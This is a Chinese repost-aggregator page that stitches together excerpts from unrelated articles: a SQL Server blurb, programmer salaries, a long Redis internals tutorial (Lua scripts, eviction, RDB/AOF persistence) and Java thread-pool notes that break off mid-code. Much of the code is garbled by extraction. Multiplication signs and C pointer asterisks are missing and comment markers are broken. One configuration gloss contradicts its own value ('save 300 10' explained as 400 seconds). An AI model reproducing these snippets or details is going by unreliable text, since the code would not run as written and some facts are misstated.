SQLS是一个很复杂的系统，让索引以及查询背后的东西真相大白，可以帮助我们更为深刻的了解我们的系统。一句话，索引就象盐，少则无味多则咸。本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_28052907/article/details/75194926。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-04-30 23:10:07

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[转载]北京,上海Java程序员的月薪水平?

...保持较高的使用率外，Python、JavaScript等语言由于其在大数据分析、Web开发、人工智能领域的广泛应用，使用人数也在急剧增长。同时，Go语言因在云计算和微服务架构中的出色表现，也逐渐受到更多开发者的青睐。此外，行业对程序员的综合能力要求也在不断提升。除了扎实的技术基础，项目管理经验、跨团队协作沟通能力以及对新兴技术趋势的敏锐洞察力已成为决定程序员职业发展及薪资待遇的关键要素。尤其在互联网头部企业中，具备架构设计能力和产品思维的高级工程师及技术管理者更是炙手可热。值得注意的是，女性程序员的比例虽有所上升，但整体上仍远低于男性。众多企业和组织正积极通过开展多元化招聘、提供专门培训等方式，努力打破性别壁垒，以实现软件行业的包容性和可持续发展。另外，随着国家对软件产业的高度重视以及一系列扶持政策的出台，二三线城市软件行业发展迅猛，程序员薪资差距正在逐步缩小，为人才流动和区域平衡提供了新的机遇。然而，如何进一步优化软件从业人员的福利待遇，提高工作满意度，降低人员流动性，仍是整个行业面临的重大挑战。

2023-12-24 09:01:26

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[转载]Redis 原理

...我们可以写一个自乘的运算，让它乘以后面的参数： local curVal = redis.call("get", KEYS[1]) if curVal == false thencurVal = 0 elsecurVal = tonumber(curVal)endcurVal = curVal tonumber(ARGV[1]) redis.call("set", KEYS[1], curVal) return curVal 把这个脚本变成单行，语句之间使用分号隔开 local curVal = redis.call("get", KEYS[1]); if curVal == false then curVal = 0 else curVal = tonumber(curVal) end; curVal = curVal tonumber(ARGV[1]); redis.call("set", KEYS[1], curVal); return curVal script load ‘命令’ 127.0.0.1:6379> script load 'local curVal = redis.call("get", KEYS[1]); if curVal == false then curVal = 0 else curVal = tonumber(curVal) end; curVal = curVal tonumber(ARGV[1]); redis.call("set", KEYS[1], curVal); return curVal' "be4f93d8a5379e5e5b768a74e77c8a4eb0434441" 调用: 127.0.0.1:6379> set num 2OK127.0.0.1:6379> evalsha be4f93d8a5379e5e5b768a74e77c8a4eb0434441 1 num 6 (integer) 12 3.2.6 脚本超时 Redis 的指令执行本身是单线程的，这个线程还要执行客户端的 Lua 脚本，如果 Lua 脚本执行超时或者陷入了死循环，是不是没有办法为客户端提供服务了呢? eval 'while(true) do end' 0 为了防止某个脚本执行时间过长导致 Redis 无法提供服务，Redis 提供了 lua-time-limit 参数限制脚本的最长运行时间，默认为 5 秒钟。 lua-time-limit 5000(redis.conf 配置文件中) 当脚本运行时间超过这一限制后，Redis 将开始接受其他命令但不会执行(以确保脚本的原子性，因为此时脚本并没有被终止)，而是会返回“BUSY”错误。 Redis 提供了一个 script kill 的命令来中止脚本的执行。新开一个客户端: script kill 如果当前执行的 Lua 脚本对 Redis 的数据进行了修改(SET、DEL 等)，那么通过 script kill 命令是不能终止脚本运行的。 127.0.0.1:6379> eval "redis.call('set','gupao','666') while true do end" 0 因为要保证脚本运行的原子性，如果脚本执行了一部分终止，那就违背了脚本原子性的要求。最终要保证脚本要么都执行，要么都不执行。 127.0.0.1:6379> script kill(error) UNKILLABLE Sorry the script already executed write commands against the dataset. You can either wait the scripttermination or kill the server in a hard way using the SHUTDOWN NOSAVE command. 遇到这种情况，只能通过 shutdown nosave 命令来强行终止 redis。 shutdown nosave 和 shutdown 的区别在于 shutdown nosave 不会进行持久化操作，意味着发生在上一次快照后的数据库修改都会丢失。 4、Redis 为什么这么快? 4.1 Redis到底有多快？根据官方的数据，Redis 的 QPS 可以达到 10 万左右(每秒请求数)。 4.2 Redis为什么这么快? 总结:1)纯内存结构、2)单线程、3)多路复用 4.2.1 内存 KV 结构的内存数据库，时间复杂度 O(1)。第二个，要实现这么高的并发性能，是不是要创建非常多的线程? 恰恰相反，Redis 是单线程的。 4.2.2 单线程单线程有什么好处呢? 1、没有创建线程、销毁线程带来的消耗 2、避免了上线文切换导致的 CPU 消耗 3、避免了线程之间带来的竞争问题，例如加锁释放锁死锁等等 4.2.3 异步非阻塞异步非阻塞 I/O，多路复用处理并发连接。 4.3 Redis为什么是单线程的? 不是白白浪费了 CPU 的资源吗? 因为单线程已经够用了，CPU 不是 redis 的瓶颈。Redis 的瓶颈最有可能是机器内存或者网络带宽。既然单线程容易实现，而且 CPU 不会成为瓶颈，那就顺理成章地采用单线程的方案了。 4.4 单线程为什么这么快? 因为 Redis 是基于内存的操作，我们先从内存开始说起。 4.4.1 虚拟存储器(虚拟内存 Vitual Memory) 名词解释:主存:内存;辅存:磁盘(硬盘) 计算机主存(内存)可看作一个由 M 个连续的字节大小的单元组成的数组，每个字节有一个唯一的地址，这个地址叫做物理地址(PA)。早期的计算机中，如果 CPU 需要内存，使用物理寻址，直接访问主存储器。这种方式有几个弊端: 1、在多用户多任务操作系统中，所有的进程共享主存，如果每个进程都独占一块物理地址空间，主存很快就会被用完。我们希望在不同的时刻，不同的进程可以共用同一块物理地址空间。 2、如果所有进程都是直接访问物理内存，那么一个进程就可以修改其他进程的内存数据，导致物理地址空间被破坏，程序运行就会出现异常。为了解决这些问题，我们就想了一个办法，在 CPU 和主存之间增加一个中间层。CPU 不再使用物理地址访问，而是访问一个虚拟地址，由这个中间层把地址转换成物理地址，最终获得数据。这个中间层就叫做虚拟存储器(Virtual Memory)。具体的操作如下所示: 在每一个进程开始创建的时候，都会分配一段虚拟地址，然后通过虚拟地址和物理地址的映射来获取真实数据，这样进程就不会直接接触到物理地址，甚至不知道自己调用的哪块物理地址的数据。目前，大多数操作系统都使用了虚拟内存，如 Windows 系统的虚拟内存、Linux 系统的交换空间等等。Windows 的虚拟内存(pagefile.sys)是磁盘空间的一部分。在 32 位的系统上，虚拟地址空间大小是 2^32bit=4G。在 64 位系统上，最大虚拟地址空间大小是多少? 是不是 2^64bit=10241014TB=1024PB=16EB?实际上没有用到 64 位，因为用不到这么大的空间，而且会造成很大的系统开销。Linux 一般用低 48 位来表示虚拟地址空间，也就是 2^48bit=256T。 cat /proc/cpuinfo address sizes : 40 bits physical, 48 bits virtual 实际的物理内存可能远远小于虚拟内存的大小。总结：引入虚拟内存，可以提供更大的地址空间，并且地址空间是连续的，使得程序编写、链接更加简单。并且可以对物理内存进行隔离，不同的进程操作互不影响。还可以通过把同一块物理内存映射到不同的虚拟地址空间实现内存共享。 4.4.2 用户空间和内核空间为了避免用户进程直接操作内核，保证内核安全，操作系统将虚拟内存划分为两部分，一部分是内核空间(Kernel-space)/ˈkɜːnl /，一部分是用户空间(User-space)。内核是操作系统的核心，独立于普通的应用程序，可以访问受保护的内存空间，也有访问底层硬件设备的权限。内核空间中存放的是内核代码和数据，而进程的用户空间中存放的是用户程序的代码和数据。不管是内核空间还是用户空间，它们都处于虚拟空间中，都是对物理地址的映射。在 Linux 系统中, 内核进程和用户进程所占的虚拟内存比例是 1:3。当进程运行在内核空间时就处于内核态，而进程运行在用户空间时则处于用户态。进程在内核空间以执行任意命令，调用系统的一切资源;在用户空间只能执行简单的运算，不能直接调用系统资源，必须通过系统接口(又称 system call)，才能向内核发出指令。 top 命令: us 代表 CPU 消耗在 User space 的时间百分比; sy 代表 CPU 消耗在 Kernel space 的时间百分比。 4.4.3 进程切换(上下文切换) 多任务操作系统是怎么实现运行远大于 CPU 数量的任务个数的? 当然，这些任务实际上并不是真的在同时运行，而是因为系统通过时间片分片算法，在很短的时间内，将 CPU 轮流分配给它们，造成多任务同时运行的错觉。为了控制进程的执行，内核必须有能力挂起正在 CPU 上运行的进程，并恢复以前挂起的某个进程的执行。这种行为被称为进程切换。什么叫上下文? 在每个任务运行前，CPU 都需要知道任务从哪里加载、又从哪里开始运行，也就是说，需要系统事先帮它设置好 CPU 寄存器和程序计数器(ProgramCounter)，这个叫做 CPU 的上下文。而这些保存下来的上下文，会存储在系统内核中，并在任务重新调度执行时再次加载进来。这样就能保证任务原来的状态不受影响，让任务看起来还是连续运行。在切换上下文的时候，需要完成一系列的工作，这是一个很消耗资源的操作。 4.4.4 进程的阻塞正在运行的进程由于提出系统服务请求(如 I/O 操作)，但因为某种原因未得到操作系统的立即响应，该进程只能把自己变成阻塞状态，等待相应的事件出现后才被唤醒。进程在阻塞状态不占用 CPU 资源。 4.4.5 文件描述符 FD Linux 系统将所有设备都当作文件来处理，而 Linux 用文件描述符来标识每个文件对象。文件描述符(File Descriptor)是内核为了高效管理已被打开的文件所创建的索引，用于指向被打开的文件，所有执行 I/O 操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数，用以表明每个被进程打开的文件。 Linux 系统里面有三个标准文件描述符。 0:标准输入(键盘); 1:标准输出(显示器); 2:标准错误输出(显示器)。 4.4.6 传统 I/O 数据拷贝以读操作为例: 当应用程序执行 read 系统调用读取文件描述符(FD)的时候，如果这块数据已经存在于用户进程的页内存中，就直接从内存中读取数据。如果数据不存在，则先将数据从磁盘加载数据到内核缓冲区中，再从内核缓冲区拷贝到用户进程的页内存中。(两次拷贝，两次 user 和 kernel 的上下文切换)。 I/O 的阻塞到底阻塞在哪里? 4.4.7 Blocking I/O 当使用 read 或 write 对某个文件描述符进行过读写时，如果当前 FD 不可读，系统就不会对其他的操作做出响应。从设备复制数据到内核缓冲区是阻塞的，从内核缓冲区拷贝到用户空间，也是阻塞的，直到 copy complete，内核返回结果，用户进程才解除 block 的状态。为了解决阻塞的问题，我们有几个思路。 1、在服务端创建多个线程或者使用线程池，但是在高并发的情况下需要的线程会很多，系统无法承受，而且创建和释放线程都需要消耗资源。 2、由请求方定期轮询，在数据准备完毕后再从内核缓存缓冲区复制数据到用户空间 (非阻塞式 I/O)，这种方式会存在一定的延迟。能不能用一个线程处理多个客户端请求? 4.4.8 I/O 多路复用(I/O Multiplexing) I/O 指的是网络 I/O。多路指的是多个 TCP 连接(Socket 或 Channel)。复用指的是复用一个或多个线程。它的基本原理就是不再由应用程序自己监视连接，而是由内核替应用程序监视文件描述符。客户端在操作的时候，会产生具有不同事件类型的 socket。在服务端，I/O 多路复用程序(I/O Multiplexing Module)会把消息放入队列中，然后通过文件事件分派器(File event Dispatcher)，转发到不同的事件处理器中。多路复用有很多的实现，以 select 为例，当用户进程调用了多路复用器，进程会被阻塞。内核会监视多路复用器负责的所有 socket，当任何一个 socket 的数据准备好了，多路复用器就会返回。这时候用户进程再调用 read 操作，把数据从内核缓冲区拷贝到用户空间。所以，I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符，而这些文件描述符(套接字描述符)其中的任意一个进入读就绪(readable)状态，select() 函数就可以返回。 Redis 的多路复用，提供了 select, epoll, evport, kqueue 几种选择，在编译的时候来选择一种。 evport 是 Solaris 系统内核提供支持的; epoll 是 LINUX 系统内核提供支持的; kqueue 是 Mac 系统提供支持的; select 是 POSIX 提供的，一般的操作系统都有支撑(保底方案); 源码 ae_epoll.c、ae_select.c、ae_kqueue.c、ae_evport.c 5、内存回收 Reids 所有的数据都是存储在内存中的，在某些情况下需要对占用的内存空间进行回收。内存回收主要分为两类，一类是 key 过期，一类是内存使用达到上限(max_memory) 触发内存淘汰。 5.1 过期策略要实现 key 过期，我们有几种思路。 5.1.1 定时过期(主动淘汰) 每个设置过期时间的 key 都需要创建一个定时器，到过期时间就会立即清除。该策略可以立即清除过期的数据，对内存很友好;但是会占用大量的 CPU 资源去处理过期的数据，从而影响缓存的响应时间和吞吐量。 5.1.2 惰性过期(被动淘汰) 只有当访问一个 key 时，才会判断该 key 是否已过期，过期则清除。该策略可以最大化地节省 CPU 资源，却对内存非常不友好。极端情况可能出现大量的过期 key 没有再次被访问，从而不会被清除，占用大量内存。例如 String，在 getCommand 里面会调用 expireIfNeeded server.c expireIfNeeded(redisDb db, robj key) 第二种情况，每次写入 key 时，发现内存不够，调用 activeExpireCycle 释放一部分内存。 expire.c activeExpireCycle(int type) 5.1.3 定期过期源码:server.h typedef struct redisDb { dict dict; / 所有的键值对 /dict expires; / 设置了过期时间的键值对 /dict blocking_keys; dict ready_keys; dict watched_keys; int id;long long avg_ttl;list defrag_later; } redisDb; 每隔一定的时间，会扫描一定数量的数据库的 expires 字典中一定数量的 key，并清除其中已过期的 key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时，可以在不同情况下使得 CPU 和内存资源达到最优的平衡效果。 Redis 中同时使用了惰性过期和定期过期两种过期策略。 5.2 淘汰策略 Redis 的内存淘汰策略，是指当内存使用达到最大内存极限时，需要使用淘汰算法来决定清理掉哪些数据，以保证新数据的存入。 5.2.1 最大内存设置 redis.conf 参数配置: maxmemory <bytes> 如果不设置 maxmemory 或者设置为 0，64 位系统不限制内存，32 位系统最多使用 3GB 内存。动态修改: redis> config set maxmemory 2GB 到达最大内存以后怎么办? 5.2.2 淘汰策略 https://redis.io/topics/lru-cache redis.conf maxmemory-policy noeviction 先从算法来看: LRU，Least Recently Used:最近最少使用。判断最近被使用的时间，目前最远的数据优先被淘汰。 LFU，Least Frequently Used，最不常用，4.0 版本新增。 random，随机删除。如果没有符合前提条件的 key 被淘汰，那么 volatile-lru、volatile-random、 volatile-ttl 相当于 noeviction(不做内存回收)。动态修改淘汰策略: redis> config set maxmemory-policy volatile-lru 建议使用 volatile-lru，在保证正常服务的情况下，优先删除最近最少使用的 key。 5.2.3 LRU 淘汰原理问题：如果基于传统 LRU 算法实现 Redis LRU 会有什么问题? 需要额外的数据结构存储，消耗内存。 Redis LRU 对传统的 LRU 算法进行了改良，通过随机采样来调整算法的精度。如果淘汰策略是 LRU，则根据配置的采样值 maxmemory_samples(默认是 5 个), 随机从数据库中选择 m 个 key, 淘汰其中热度最低的 key 对应的缓存数据。所以采样参数m配置的数值越大, 就越能精确的查找到待淘汰的缓存数据,但是也消耗更多的CPU计算,执行效率降低。问题：如何找出热度最低的数据? Redis 中所有对象结构都有一个 lru 字段, 且使用了 unsigned 的低 24 位，这个字段用来记录对象的热度。对象被创建时会记录 lru 值。在被访问的时候也会更新 lru 的值。但是不是获取系统当前的时间戳，而是设置为全局变量 server.lruclock 的值。源码：server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; server.lruclock 的值怎么来的? Redis 中有个定时处理的函数 serverCron，默认每 100 毫秒调用函数 updateCachedTime 更新一次全局变量的 server.lruclock 的值，它记录的是当前 unix 时间戳。源码:server.c void updateCachedTime(void) { time_t unixtime = time(NULL); atomicSet(server.unixtime,unixtime); server.mstime = mstime();struct tm tm; localtime_r(&server.unixtime,&tm);server.daylight_active = tm.tm_isdst; } 问题:为什么不获取精确的时间而是放在全局变量中?不会有延迟的问题吗? 这样函数 lookupKey 中更新数据的 lru 热度值时,就不用每次调用系统函数 time，可以提高执行效率。 OK，当对象里面已经有了 LRU 字段的值，就可以评估对象的热度了。函数 estimateObjectIdleTime 评估指定对象的 lru 热度，思想就是对象的 lru 值和全局的 server.lruclock 的差值越大(越久没有得到更新)，该对象热度越低。源码 evict.c / Given an object returns the min number of milliseconds the object was never requested, using an approximated LRU algorithm. /unsigned long long estimateObjectIdleTime(robj o) {unsigned long long lruclock = LRU_CLOCK(); if (lruclock >= o->lru) {return (lruclock - o->lru) LRU_CLOCK_RESOLUTION; } else {return (lruclock + (LRU_CLOCK_MAX - o->lru)) LRU_CLOCK_RESOLUTION;} } server.lruclock 只有 24 位，按秒为单位来表示才能存储 194 天。当超过 24bit 能表示的最大时间的时候，它会从头开始计算。 server.h define LRU_CLOCK_MAX ((1<<LRU_BITS)-1) / Max value of obj->lru / 在这种情况下，可能会出现对象的 lru 大于 server.lruclock 的情况，如果这种情况出现那么就两个相加而不是相减来求最久的 key。为什么不用常规的哈希表+双向链表的方式实现?需要额外的数据结构，消耗资源。而 Redis LRU 算法在 sample 为 10 的情况下，已经能接近传统 LRU 算法了。问题:除了消耗资源之外，传统 LRU 还有什么问题? 如图，假设 A 在 10 秒内被访问了 5 次，而 B 在 10 秒内被访问了 3 次。因为 B 最后一次被访问的时间比 A 要晚，在同等的情况下，A 反而先被回收。问题:要实现基于访问频率的淘汰机制，怎么做? 5.2.4 LFU server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; 当这 24 bits 用作 LFU 时，其被分为两部分: 高 16 位用来记录访问时间(单位为分钟，ldt，last decrement time) 低 8 位用来记录访问频率，简称 counter(logc，logistic counter) counter 是用基于概率的对数计数器实现的，8 位可以表示百万次的访问频率。对象被读写的时候，lfu 的值会被更新。 db.c——lookupKey void updateLFU(robj val) {unsigned long counter = LFUDecrAndReturn(val); counter = LFULogIncr(counter);val->lru = (LFUGetTimeInMinutes()<<8) | counter;} 增长的速率由，lfu-log-factor 越大，counter 增长的越慢 redis.conf 配置文件。 lfu-log-factor 10 如果计数器只会递增不会递减，也不能体现对象的热度。没有被访问的时候，计数器怎么递减呢? 减少的值由衰减因子 lfu-decay-time(分钟)来控制，如果值是 1 的话，N 分钟没有访问就要减少 N。 redis.conf 配置文件 lfu-decay-time 1 6、持久化机制 https://redis.io/topics/persistence Redis 速度快，很大一部分原因是因为它所有的数据都存储在内存中。如果断电或者宕机，都会导致内存中的数据丢失。为了实现重启后数据不丢失，Redis 提供了两种持久化的方案，一种是 RDB 快照(Redis DataBase)，一种是 AOF(Append Only File)。 6.1 RDB RDB 是 Redis 默认的持久化方案。当满足一定条件的时候，会把当前内存中的数据写入磁盘，生成一个快照文件 dump.rdb。Redis 重启会通过加载 dump.rdb 文件恢复数据。什么时候写入 rdb 文件? 6.1.1 RDB 触发 1、自动触发 a)配置规则触发。 redis.conf， SNAPSHOTTING，其中定义了触发把数据保存到磁盘的触发频率。如果不需要 RDB 方案，注释 save 或者配置成空字符串""。 save 900 1 900 秒内至少有一个 key 被修改(包括添加) save 300 10 400 秒内至少有 10 个 key 被修改save 60 10000 60 秒内至少有 10000 个 key 被修改注意上面的配置是不冲突的，只要满足任意一个都会触发。 RDB 文件位置和目录: 文件路径，dir ./ 文件名称dbfilename dump.rdb 是否是LZF压缩rdb文件 rdbcompression yes 开启数据校验 rdbchecksum yes 问题：为什么停止 Redis 服务的时候没有 save，重启数据还在? RDB 还有两种触发方式: b)shutdown 触发，保证服务器正常关闭。 c)flushall，RDB 文件是空的，没什么意义(删掉 dump.rdb 演示一下)。 2、手动触发如果我们需要重启服务或者迁移数据，这个时候就需要手动触 RDB 快照保存。Redis 提供了两条命令: a)save save 在生成快照的时候会阻塞当前 Redis 服务器， Redis 不能处理其他命令。如果内存中的数据比较多，会造成 Redis 长时间的阻塞。生产环境不建议使用这个命令。为了解决这个问题，Redis 提供了第二种方式。执行 bgsave 时，Redis 会在后台异步进行快照操作，快照同时还可以响应客户端请求。具体操作是 Redis 进程执行 fork 操作创建子进程(copy-on-write)，RDB 持久化过程由子进程负责，完成后自动结束。它不会记录 fork 之后后续的命令。阻塞只发生在 fork 阶段，一般时间很短。用 lastsave 命令可以查看最近一次成功生成快照的时间。 6.1.2 RDB 数据的恢复(演示) 1、shutdown 持久化添加键值添加键值 redis> set k1 1 redis> set k2 2 redis> set k3 3 redis> set k4 4 redis> set k5 5 停服务器，触发 save redis> shutdown 备份 dump.rdb 文件 cp dump.rdb dump.rdb.bak 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 啥都没有: redis> keys 3、通过备份文件恢复数据停服务器 redis> shutdown 重命名备份文件 mv dump.rdb.bak dump.rdb 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 查看数据 redis> keys 6.1.3 RDB 文件的优势和劣势一、优势 1.RDB 是一个非常紧凑(compact)的文件，它保存了 redis 在某个时间点上的数据集。这种文件非常适合用于进行备份和灾难恢复。 2.生成 RDB 文件的时候，redis 主进程会 fork()一个子进程来处理所有保存工作，主进程不需要进行任何磁盘 IO 操作。 3.RDB 在恢复大数据集时的速度比 AOF 的恢复速度要快。二、劣势 1、RDB 方式数据没办法做到实时持久化/秒级持久化。因为 bgsave 每次运行都要执行 fork 操作创建子进程，频繁执行成本过高。 2、在一定间隔时间做一次备份，所以如果 redis 意外 down 掉的话，就会丢失最后一次快照之后的所有修改(数据有丢失)。如果数据相对来说比较重要，希望将损失降到最小，则可以使用 AOF 方式进行持久化。 6.2 AOF Append Only File AOF:Redis 默认不开启。AOF 采用日志的形式来记录每个写操作，并追加到文件中。开启后，执行更改 Redis 数据的命令时，就会把命令写入到 AOF 文件中。 Redis 重启时会根据日志文件的内容把写指令从前到后执行一次以完成数据的恢复工作。 6.2.1 AOF 配置配置文件 redis.conf 开关appendonly no 文件名appendfilename "appendonly.aof" AOF 文件的内容(vim 查看): 问题：数据都是实时持久化到磁盘吗? 由于操作系统的缓存机制，AOF 数据并没有真正地写入硬盘，而是进入了系统的硬盘缓存。什么时候把缓冲区的内容写入到 AOF 文件? 问题:文件越来越大，怎么办? 由于 AOF 持久化是 Redis 不断将写命令记录到 AOF 文件中，随着 Redis 不断的进行，AOF 的文件会越来越大，文件越大，占用服务器内存越大以及 AOF 恢复要求时间越长。例如 set xxx 666，执行 1000 次，结果都是 xxx=666。为了解决这个问题，Redis 新增了重写机制，当 AOF 文件的大小超过所设定的阈值时，Redis 就会启动 AOF 文件的内容压缩，只保留可以恢复数据的最小指令集。可以使用命令 bgrewriteaof 来重写。 AOF 文件重写并不是对原文件进行重新整理，而是直接读取服务器现有的键值对，然后用一条命令去代替之前记录这个键值对的多条命令，生成一个新的文件后去替换原来的 AOF 文件。重写触发机制 auto-aof-rewrite-percentage 100 auto-aof-rewrite-min-size 64mb 问题:重写过程中，AOF 文件被更改了怎么办? 另外有两个与 AOF 相关的参数: 6.2.2 AOF 数据恢复重启 Redis 之后就会进行 AOF 文件的恢复。 6.2.3 AOF 优势与劣势优点: 1、AOF 持久化的方法提供了多种的同步频率，即使使用默认的同步频率每秒同步一次，Redis 最多也就丢失 1 秒的数据而已。缺点: 1、对于具有相同数据的的 Redis，AOF 文件通常会比 RDB 文件体积更大(RDB 存的是数据快照)。 2、虽然 AOF 提供了多种同步的频率，默认情况下，每秒同步一次的频率也具有较高的性能。在高并发的情况下，RDB 比 AOF 具好更好的性能保证。 6.3 两种方案比较那么对于 AOF 和 RDB 两种持久化方式，我们应该如何选择呢? 如果可以忍受一小段时间内数据的丢失，毫无疑问使用 RDB 是最好的，定时生成 RDB 快照(snapshot)非常便于进行数据库备份，并且 RDB 恢复数据集的速度也要比 AOF 恢复的速度要快。否则就使用 AOF 重写。但是一般情况下建议不要单独使用某一种持久化机制，而是应该两种一起用，在这种情况下,当 redis 重启的时候会优先载入 AOF 文件来恢复原始的数据，因为在通常情况下 AOF 文件保存的数据集要比 RDB 文件保存的数据集要完整。本篇文章为转载内容。原文链接：https://blog.csdn.net/zhoutaochun/article/details/120075092。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2024-03-18 12:25:04

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[转载]多线程与高并发笔记，非面向初学者二：java引用，高并发多线程容器，线程池

...的最大操作数，就进行运算，long sum = 0L;for(int i=start; i<end; i++) sum += nums[i];return sum;//返回结果} //如果分配的操作数大于规定，就继续细分（简单的重中点分，两半）int middle = start + (end-start)/2;//获取中间值AddTaskRet subTask1 = new AddTaskRet(start, middle);//传入起始值和中间值，表示一个子任务AddTaskRet subTask2 = new AddTaskRet(middle, end);//中间值和结尾值，表示一个子任务subTask1.fork();//分任务subTask2.fork();//分任务return subTask1.join() + subTask2.join();//最后返回结果汇总} }public static void main(String[] args) throws IOException {/ForkJoinPool fjp = new ForkJoinPool();AddTask task = new AddTask(0, nums.length);fjp.execute(task);/ForkJoinPool fjp = new ForkJoinPool();//创建线程池AddTaskRet task = new AddTaskRet(0, nums.length);//创建任务fjp.execute(task);//传入任务long result = task.join();//返回汇总结果System.out.println(result);//System.in.read();} } 11、ForkJoinPool线程池2：WorkStealingPool 任务偷取线程池原来的线程池，都是有一个任务队列，而这个不同，它给每个线程都分配了一个任务队列当某一个线程的任务队列没有任务，并且自己空闲，它就去其它线程的任务队列中偷任务，所以叫任务偷取线程池细节：当线程自己从自己的任务队列拿任务时，不需要加锁，但是偷任务时，因为有两个线程，可能发生同步问题，需要加锁此线程继承FJP 实例 import java.io.IOException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.TimeUnit;public class T11_WorkStealingPool {public static void main(String[] args) throws IOException {ExecutorService service = Executors.newWorkStealingPool();System.out.println(Runtime.getRuntime().availableProcessors());service.execute(new R(1000));service.execute(new R(2000));service.execute(new R(2000));service.execute(new R(2000)); //daemonservice.execute(new R(2000));//由于产生的是精灵线程（守护线程、后台线程），主线程不阻塞的话，看不到输出System.in.read(); }static class R implements Runnable {int time;R(int t) {this.time = t;}@Overridepublic void run() {try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(time + " " + Thread.currentThread().getName());} }} 12、流式API：ParallelStreamAPI 不懂的请参考：https://blog.csdn.net/grd_java/article/details/110265219 实例 import java.util.ArrayList;import java.util.List;import java.util.Random;public class T13_ParallelStreamAPI {public static void main(String[] args) {List<Integer> nums = new ArrayList<>();Random r = new Random();for(int i=0; i<10000; i++) nums.add(1000000 + r.nextInt(1000000));//System.out.println(nums);long start = System.currentTimeMillis();nums.forEach(v->isPrime(v));long end = System.currentTimeMillis();System.out.println(end - start);//使用parallel stream apistart = System.currentTimeMillis();nums.parallelStream().forEach(T13_ParallelStreamAPI::isPrime);//并行流，将任务切分成子任务执行end = System.currentTimeMillis();System.out.println(end - start);}static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;} } 13、总结总结 Callable相当于一Runnable但是它有返回值 Future：存储执行完产生的结果 FutureTask 相当于Future+Runnable，既可以执行任务，又能获取任务执行的Future结果 CompletableFuture 可以多任务异步，并对多任务控制，整合任务结果，细化完美，比如可以一个任务完成就可以整合结果，也可以所有任务完成才整合结果 4、ThreadPoolExecutor源码解析依然只讲重点，实际还需要大家按照上篇博客中看源码的方式来看 1、常用变量的解释 // 1. ctl，可以看做一个int类型的数字，高3位表示线程池状态，低29位表示worker数量private final AtomicInteger ctl = new AtomicInteger(ctlOf(RUNNING, 0));// 2. COUNT_BITS，Integer.SIZE为32，所以COUNT_BITS为29private static final int COUNT_BITS = Integer.SIZE - 3;// 3. CAPACITY，线程池允许的最大线程数。1左移29位，然后减1，即为 2^29 - 1private static final int CAPACITY = (1 << COUNT_BITS) - 1;// runState is stored in the high-order bits// 4. 线程池有5种状态，按大小排序如下：RUNNING < SHUTDOWN < STOP < TIDYING < TERMINATEDprivate static final int RUNNING = -1 << COUNT_BITS;private static final int SHUTDOWN = 0 << COUNT_BITS;private static final int STOP = 1 << COUNT_BITS;private static final int TIDYING = 2 << COUNT_BITS;private static final int TERMINATED = 3 << COUNT_BITS;// Packing and unpacking ctl// 5. runStateOf()，获取线程池状态，通过按位与操作，低29位将全部变成0private static int runStateOf(int c) { return c & ~CAPACITY; }// 6. workerCountOf()，获取线程池worker数量，通过按位与操作，高3位将全部变成0private static int workerCountOf(int c) { return c & CAPACITY; }// 7. ctlOf()，根据线程池状态和线程池worker数量，生成ctl值private static int ctlOf(int rs, int wc) { return rs | wc; }/ Bit field accessors that don't require unpacking ctl. These depend on the bit layout and on workerCount being never negative./// 8. runStateLessThan()，线程池状态小于xxprivate static boolean runStateLessThan(int c, int s) {return c < s;}// 9. runStateAtLeast()，线程池状态大于等于xxprivate static boolean runStateAtLeast(int c, int s) {return c >= s;} 2、构造方法 public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) {// 基本类型参数校验if (corePoolSize < 0 ||maximumPoolSize <= 0 ||maximumPoolSize < corePoolSize ||keepAliveTime < 0)throw new IllegalArgumentException();// 空指针校验if (workQueue == null || threadFactory == null || handler == null)throw new NullPointerException();this.corePoolSize = corePoolSize;this.maximumPoolSize = maximumPoolSize;this.workQueue = workQueue;// 根据传入参数unit和keepAliveTime，将存活时间转换为纳秒存到变量keepAliveTime 中this.keepAliveTime = unit.toNanos(keepAliveTime);this.threadFactory = threadFactory;this.handler = handler;} 3、提交执行task的过程 public void execute(Runnable command) {if (command == null)throw new NullPointerException();/ Proceed in 3 steps: 1. If fewer than corePoolSize threads are running, try to start a new thread with the given command as its first task. The call to addWorker atomically checks runState and workerCount, and so prevents false alarms that would add threads when it shouldn't, by returning false. 2. If a task can be successfully queued, then we still need to double-check whether we should have added a thread (because existing ones died since last checking) or that the pool shut down since entry into this method. So we recheck state and if necessary roll back the enqueuing if stopped, or start a new thread if there are none. 3. If we cannot queue task, then we try to add a new thread. If it fails, we know we are shut down or saturated and so reject the task./int c = ctl.get();// worker数量比核心线程数小，直接创建worker执行任务if (workerCountOf(c) < corePoolSize) {if (addWorker(command, true))return;c = ctl.get();}// worker数量超过核心线程数，任务直接进入队列if (isRunning(c) && workQueue.offer(command)) {int recheck = ctl.get();// 线程池状态不是RUNNING状态，说明执行过shutdown命令，需要对新加入的任务执行reject()操作。// 